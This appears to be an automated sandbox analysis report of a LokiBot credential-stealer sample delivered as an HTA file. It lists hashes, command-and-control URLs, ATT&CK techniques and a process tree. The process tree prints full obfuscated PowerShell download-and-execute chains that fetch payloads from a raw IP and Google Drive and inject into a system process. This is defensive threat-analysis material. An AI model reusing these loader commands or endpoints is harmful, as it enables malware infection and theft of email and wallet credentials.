lokibot | 3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2024 02:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb.hta
Size

206KB
MD5

ee06f92a6abcd0b214c3251740547dbe
SHA1

6c36d8fa208e1c6f97272ab9f14b4e6b1ff17f3b
SHA256

3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb
SHA512

8d198174ebef3ad98944261cff5eafa079557ca5fda0bfdd340d193eba49e306707f331586bf321ebdb401d40df645de0f411dd1d6592854c3730f3fdf54088b
SSDEEP

48:4FhWsTR/F7gNqXfgaEJK4RJcB458p2ybuzkyq88oCxL/RNOeugGr4BJSFJkvhNcm:43F97/E1RXqfbutqSCxL/Rgeb4Frh/Q

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Extracted

Family

lokibot

http://94.156.177.220/logs/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot

Blocklisted process makes network request 4 IoCs

flow	pid	Process
14	4392	powErshEll.eXe
19	4848	powershell.exe
21	4848	powershell.exe
28	4848	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4892	powershell.exe
4848	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4392	powErshEll.eXe
1604	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	drive.google.com
19	drive.google.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4848 set thread context of 1188	4848	powershell.exe	107

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powErshEll.eXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	powErshEll.eXe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4392	powErshEll.eXe
4392	powErshEll.eXe
1604	powershell.exe
1604	powershell.exe
4892	powershell.exe
4892	powershell.exe
4848	powershell.exe
4848	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4392	powErshEll.eXe
Token: SeDebugPrivilege	1604	powershell.exe
Token: SeDebugPrivilege	4892	powershell.exe
Token: SeDebugPrivilege	4848	powershell.exe
Token: SeDebugPrivilege	1188	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 3112 wrote to memory of 4392	3112	mshta.exe	84
PID 3112 wrote to memory of 4392	3112	mshta.exe	84
PID 3112 wrote to memory of 4392	3112	mshta.exe	84
PID 4392 wrote to memory of 1604	4392	powErshEll.eXe	88
PID 4392 wrote to memory of 1604	4392	powErshEll.eXe	88
PID 4392 wrote to memory of 1604	4392	powErshEll.eXe	88
PID 4392 wrote to memory of 4140	4392	powErshEll.eXe	93
PID 4392 wrote to memory of 4140	4392	powErshEll.eXe	93
PID 4392 wrote to memory of 4140	4392	powErshEll.eXe	93
PID 4140 wrote to memory of 2920	4140	csc.exe	94
PID 4140 wrote to memory of 2920	4140	csc.exe	94
PID 4140 wrote to memory of 2920	4140	csc.exe	94
PID 4392 wrote to memory of 876	4392	powErshEll.eXe	97
PID 4392 wrote to memory of 876	4392	powErshEll.eXe	97
PID 4392 wrote to memory of 876	4392	powErshEll.eXe	97
PID 876 wrote to memory of 4892	876	WScript.exe	98
PID 876 wrote to memory of 4892	876	WScript.exe	98
PID 876 wrote to memory of 4892	876	WScript.exe	98
PID 4892 wrote to memory of 4848	4892	powershell.exe	103
PID 4892 wrote to memory of 4848	4892	powershell.exe	103
PID 4892 wrote to memory of 4848	4892	powershell.exe	103
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107
PID 4848 wrote to memory of 1188	4848	powershell.exe	107

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3b5f33baf9dbcbe033909735e6238ecf8c3f5aaf915d7298157fb07e034cf2bb.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3112
- C:\Windows\SysWOW64\winDOWspOweRsheLl\V1.0\powErshEll.eXe
  "C:\Windows\sySTEm32\winDOWspOweRsheLl\V1.0\powErshEll.eXe" "POweRsHeLl -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT ; ieX($(Iex('[syStem.TExT.encodiNG]'+[ChAr]58+[chAr]0x3A+'Utf8.geTsTRing([sYsTem.CoNVErT]'+[ChAr]0x3A+[CHAr]0x3A+'FROmBaSe64StriNG('+[cHaR]0X22+'JFZ3SjZCMXZ5ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTUJlUmRlRklOaVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJsbU9uLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEhZTixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrck9jVWhmcU1VLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdhLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlaW1PUVplQ1NpWixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2VCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBuZ0tHbVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFZ3SjZCMXZ5OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA0LjE2OC43LjUyLzEyMC9waWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnRJRiIsIiRFblY6QVBQREFUQVxwaWN0dXJld2l0aG1lYmFja3dpdGhuZXd0aGluZ3NncmVhdGZvcm1lLnZicyIsMCwwKTtzdEFyVC1TTGVFcCgzKTtzdGFyVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFccGljdHVyZXdpdGhtZWJhY2t3aXRobmV3dGhpbmdzZ3JlYXRmb3JtZS52YnMi'+[CHar]0x22+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4392
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX ByPaSs -NOP -W 1 -C DevIceCredeNTiaLdepLOyMenT
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jgam4rhm\jgam4rhm.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9E43.tmp" "c:\Users\Admin\AppData\Local\Temp\jgam4rhm\CSC3E9C1944FAB14ED69C61641DE6F4DD35.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2920
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:876
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoICRlbnY6Y09Nc3BFY1s0LDI0LDI1XS1Kb0lOJycpKCAoJzU2dWltYWdlVXJsID0gdklPaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xVXlIcXdyblhDbEtCSjNqJysnNjNMbDF0MlN0VmdHeGJTdDAgdklPOzU2dXdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3knKydzdGVtLk5ldC5XZWJDbGllbnQ7NTZ1aScrJ21hZ2VCeXRlcyA9IDU2dXdlYkNsaWVudC5Eb3dubG9hZERhdGEoNTZ1aW1hZ2VVcmwpOzU2dWltYWdlVGV4dCA9ICcrJ1tTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKDU2dWltYWdlQnknKyd0ZXMpOzU2dXN0YXJ0RmxhZyA9IHZJTzw8QkFTRTY0X1NUQVJUPj52SU8nKyc7NTZ1ZW5kRmxhZyA9IHZJTzw8QkFTRTY0X0VORD4+dklPOzU2dXN0YXJ0SW5kZXggPSA1NnVpbWFnZVRleHQuSW5kZXhPZig1NnVzdGFydEZsYWcpOzU2dWVuZEluZGV4ID0gNTZ1aW1hZ2VUZXh0LkluZGV4T2YoNTZ1ZW5kRmxhZyk7NTZ1c3RhcnRJbmRleCAtZ2UgMCAtYW5kIDU2dWVuZCcrJ0luZGV4IC1ndCA1NnVzdGFydEluZGV4OzU2dXN0YXJ0SW5kZXggKz0gNTZ1c3RhcnRGbGFnLkxlbmd0aDs1NnViYXNlNjRMZW5ndGggPSA1NnVlbmRJbmQnKydleCAtIDU2dXN0YXJ0SW5kZXg7NTZ1YmFzZTY0Q29tbWFuZCA9IDU2dWltYWdlVGV4dC5TdWJzdHJpbmcoNTYnKyd1c3RhcnRJbmRleCwgNTZ1YmFzZTY0TGVuZ3RoKTs1NnViYXNlNjRSZXZlcnNlZCA9IC1qJysnb2luJysnICg1NnViYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgNmlrIEZvckVhY2gtT2JqZWN0IHsgNTZ1XyB9KVstMS4uLSg1NicrJ3ViYXNlNicrJzRDb21tYW5kLkxlbmd0aCldOzU2dWNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoNTZ1YmFzZTY0UmV2ZXJzZWQpOzU2dWxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlJysnbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6JysnTG9hZCg1NnVjb21tYW5kQnl0ZXMpOzU2dXZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QodklPVkEnKydJJysndklPKTs1NnV2YWlNZXRob2QuSW52b2tlKDU2dW51bGwsIEAodklPdCcrJ3h0LktMR0xMLzAyMS8yNS43Ljg2MS40JysnMDEvLzpwdHRodklPLCAnKyd2SU9kZXNhdGl2YWRvdicrJ0lPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9kZXNhdGl2YWRvdklPLCB2SU9hc3BuZXRfY29tcCcrJ2lsZXJ2SU8sIHZJT2Rlc2F0aXZhZG92SU8sICcrJ3ZJT2Rlc2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJT2RlcycrJ2F0aXZhZG92SU8sdklPZGVzYXRpdmFkb3ZJTyx2SU9kZXNhdGl2YWRvdklPLHZJTzF2SU8sdklPZGVzYXRpdmFkJysnb3ZJTykpOycpLnJlcExhQ0UoKFtjaEFSXTU0K1tjaEFSXTEwNStbY2hBUl0xMDcpLFtzVFJpbmddW2NoQVJdMTI0KS5yZXBMYUNFKCd2SU8nLFtzVFJpbmddW2NoQVJdMzkpLnJlcExhQ0UoJzU2dScsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4892
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ( $env:cOMspEc[4,24,25]-JoIN'')( ('56uimageUrl = vIOhttps://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j'+'63Ll1t2StVgGxbSt0 vIO;56uwebClient = New-Object Sy'+'stem.Net.WebClient;56ui'+'mageBytes = 56uwebClient.DownloadData(56uimageUrl);56uimageText = '+'[System.Text.Encoding]::UTF8.GetString(56uimageBy'+'tes);56ustartFlag = vIO<<BASE64_START>>vIO'+';56uendFlag = vIO<<BASE64_END>>vIO;56ustartIndex = 56uimageText.IndexOf(56ustartFlag);56uendIndex = 56uimageText.IndexOf(56uendFlag);56ustartIndex -ge 0 -and 56uend'+'Index -gt 56ustartIndex;56ustartIndex += 56ustartFlag.Length;56ubase64Length = 56uendInd'+'ex - 56ustartIndex;56ubase64Command = 56uimageText.Substring(56'+'ustartIndex, 56ubase64Length);56ubase64Reversed = -j'+'oin'+' (56ubase64Command.ToCharArray() 6ik ForEach-Object { 56u_ })[-1..-(56'+'ubase6'+'4Command.Length)];56ucommandBytes = [System.Convert]::FromBase64String(56ubase64Reversed);56uloadedAssembly = [Syste'+'m.Reflection.Assembly]::'+'Load(56ucommandBytes);56uvaiMethod = [dnlib.IO.Home].GetMethod(vIOVA'+'I'+'vIO);56uvaiMethod.Invoke(56unull, @(vIOt'+'xt.KLGLL/021/25.7.861.4'+'01//:ptthvIO, '+'vIOdesativadov'+'IO, vIOdesativadovIO, vIOdesativadovIO, vIOaspnet_comp'+'ilervIO, vIOdesativadovIO, '+'vIOdesativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIOdes'+'ativadovIO,vIOdesativadovIO,vIOdesativadovIO,vIO1vIO,vIOdesativad'+'ovIO));').repLaCE(([chAR]54+[chAR]105+[chAR]107),[sTRing][chAR]124).repLaCE('vIO',[sTRing][chAR]39).repLaCE('56u','$'))"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4848
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:1188

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powErshEll.eXe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
92a989ed4171bc052329fb0c18d2ff6e

SHA1
9a55a1c18a95778e64967346311d69a23e02155e

SHA256
26668e141b0a12fcffd000213d5b8b45b4fd121b1d61f84e085218f4b5897064

SHA512
57c6de51ce1b7226c26eea1d784365c51706560964298d6da86503258fde9d389c7ab10326ce10469651c16aaafc1f8b5f7cdb70aa4bd02cded2125688ffbc73

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
2712f7c986f1433ee2ad747244e97e5e

SHA1
758fd320f74450974d4e1a3a2032828fdc8a467e

SHA256
4c09da3cb86f889501903aadd40b4833785bfb34908f67bed86c4013265dcf12

SHA512
ae905ddfbd48da7e77101bd46799cf3249e2f0cf43db47cf4e4391912dacd35afd9a71a31ad65f83869b866a140aa1c349cb1e82292aa5cb4053b3fdfc9a4158

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9E43.tmp

Filesize
1KB

MD5
1518de9cfc2e8520d0868bc9d597b140

SHA1
909766b84cca531d35355440c6f520a52234c400

SHA256
cf43a8245cc89ba65bbc9490eef9aa0b601522fb0ac3c23632c0823af5f3084d

SHA512
2549c815fea151a854f3b113fc5de117a0b54058fd0a8267688ec0232343d0760caa0a522c86cad5230873435210f72b4ce248d7f9e3be55da97ccdff9cf2c46

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lknog1b4.5fv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jgam4rhm\jgam4rhm.dll

Filesize
3KB

MD5
5d3754476ff3cc8f3010bb44e77c4319

SHA1
f949ba01e38a07b8403f5a17e5d71f7e16c20cf8

SHA256
d5b131ac5619baee19f7ee771188028274875430ef8e96e8e94192963a0a5b76

SHA512
6a2e4efd24b48d5e7efe2a191fb7c8a486542e8de97d17bb2e8c1d01dfa774f41b0cd367f6a61bd02bf726f45e07f88d3a96db4bb1d3ea421bf2b61f25a96e91

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-493223053-2004649691-1575712786-1000\0f5007522459c86e95ffcc62f32308f1_755b0f1a-bb38-4bb2-bc7e-240c892146ee

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-493223053-2004649691-1575712786-1000\0f5007522459c86e95ffcc62f32308f1_755b0f1a-bb38-4bb2-bc7e-240c892146ee

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\picturewithmebackwithnewthingsgreatforme.vbs

Filesize
138KB

MD5
6ee290a97ed7f5bcf1d264fcb5e1e4f7

SHA1
0851b61aa41328bac3ed7160eba1151a6faf2f0b

SHA256
b0d216e063b15e640ee73f15277cbd58b8d2a38ee96f61a8ad1e1bc36e400b88

SHA512
5aff6b07f5d77f548ece9bd2609177f0a742123ffd2f1861f0008dfb0f51d137a15a4c9436fc48c64b40c733bb550eb894e3a5bff3855b533262a06390b4034e

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jgam4rhm\CSC3E9C1944FAB14ED69C61641DE6F4DD35.TMP

Filesize
652B

MD5
71d2aba4a6a8c8e186db460b2cf1b108

SHA1
7da1587d1791556a2e44d3b938f95adca381f704

SHA256
aff014ff1bdc94cc463587a2f75aee4292de4b7252da17424095e8917de8727e

SHA512
129a476b703f5a2976503812ac1a95dff92d5d0a9708a534b0d6b4be297bb96c43b794568c2a7371c743feaa67299da65636f2985bdfc922586e2337691ec881

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jgam4rhm\jgam4rhm.0.cs

Filesize
473B

MD5
205f375dc3c53a766f92ffdea3687dde

SHA1
4d6aeadd2f24e149e06b17ecff040e835c78efa1

SHA256
25267d3b40367bbddf882619d418415a2c49bd26d964b6e2d5e214d92a8f87ab

SHA512
7708b1b37f3e2e156762f2704f4b70bf9c92473e1f8874ffc52e8f020a519a14f610b6e855059fa8dda425708e95a65ef8e925bf8ac998bb703b6770b7d2692f

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jgam4rhm\jgam4rhm.cmdline

Filesize
369B

MD5
7ea3175b34251b1a14ec1e8f33e533dc

SHA1
b11a918fc569672799dad3e2c750ff9a82406c28

SHA256
d80249bee5484a111fb69e9557151d89321d053542cd3560cdc751686d492edc

SHA512
b61d5887722469b431001f11bedf0d661e0738d8ba590bf7e0d6ec48dc1418a97913edaef34709038d6c9feabfad1090cdbba49f03cd1d8c031fa342431ac63c

Download Submit
memory/1188-105-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/1188-104-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/1188-129-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/1188-137-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/1604-30-0x000000006E020000-0x000000006E06C000-memory.dmp

Filesize
304KB

Download
memory/1604-43-0x0000000006D30000-0x0000000006D4A000-memory.dmp

Filesize
104KB

Download
memory/1604-44-0x0000000006D90000-0x0000000006D9A000-memory.dmp

Filesize
40KB

Download
memory/1604-45-0x0000000006FC0000-0x0000000007056000-memory.dmp

Filesize
600KB

Download
memory/1604-46-0x0000000006F30000-0x0000000006F41000-memory.dmp

Filesize
68KB

Download
memory/1604-47-0x0000000006F60000-0x0000000006F6E000-memory.dmp

Filesize
56KB

Download
memory/1604-48-0x0000000006F70000-0x0000000006F84000-memory.dmp

Filesize
80KB

Download
memory/1604-49-0x0000000007080000-0x000000000709A000-memory.dmp

Filesize
104KB

Download
memory/1604-50-0x0000000006FB0000-0x0000000006FB8000-memory.dmp

Filesize
32KB

Download
memory/1604-42-0x0000000007380000-0x00000000079FA000-memory.dmp

Filesize
6.5MB

Download
memory/1604-41-0x0000000006C00000-0x0000000006CA3000-memory.dmp

Filesize
652KB

Download
memory/1604-40-0x0000000006B90000-0x0000000006BAE000-memory.dmp

Filesize
120KB

Download
memory/1604-29-0x0000000006BB0000-0x0000000006BE2000-memory.dmp

Filesize
200KB

Download
memory/4392-71-0x000000007176E000-0x000000007176F000-memory.dmp

Filesize
4KB

Download
memory/4392-81-0x0000000071760000-0x0000000071F10000-memory.dmp

Filesize
7.7MB

Download
memory/4392-65-0x0000000006D20000-0x0000000006D28000-memory.dmp

Filesize
32KB

Download
memory/4392-72-0x0000000071760000-0x0000000071F10000-memory.dmp

Filesize
7.7MB

Download
memory/4392-73-0x0000000007B40000-0x0000000007B62000-memory.dmp

Filesize
136KB

Download
memory/4392-74-0x0000000008A00000-0x0000000008FA4000-memory.dmp

Filesize
5.6MB

Download
memory/4392-19-0x00000000067B0000-0x00000000067FC000-memory.dmp

Filesize
304KB

Download
memory/4392-18-0x0000000006770000-0x000000000678E000-memory.dmp

Filesize
120KB

Download
memory/4392-17-0x0000000006240000-0x0000000006594000-memory.dmp

Filesize
3.3MB

Download
memory/4392-0-0x000000007176E000-0x000000007176F000-memory.dmp

Filesize
4KB

Download
memory/4392-1-0x0000000002E70000-0x0000000002EA6000-memory.dmp

Filesize
216KB

Download
memory/4392-2-0x0000000071760000-0x0000000071F10000-memory.dmp

Filesize
7.7MB

Download
memory/4392-6-0x0000000005840000-0x00000000058A6000-memory.dmp

Filesize
408KB

Download
memory/4392-7-0x0000000006020000-0x0000000006086000-memory.dmp

Filesize
408KB

Download
memory/4392-4-0x0000000071760000-0x0000000071F10000-memory.dmp

Filesize
7.7MB

Download
memory/4392-5-0x00000000057A0000-0x00000000057C2000-memory.dmp

Filesize
136KB

Download
memory/4392-3-0x00000000058F0000-0x0000000005F18000-memory.dmp

Filesize
6.2MB

Download
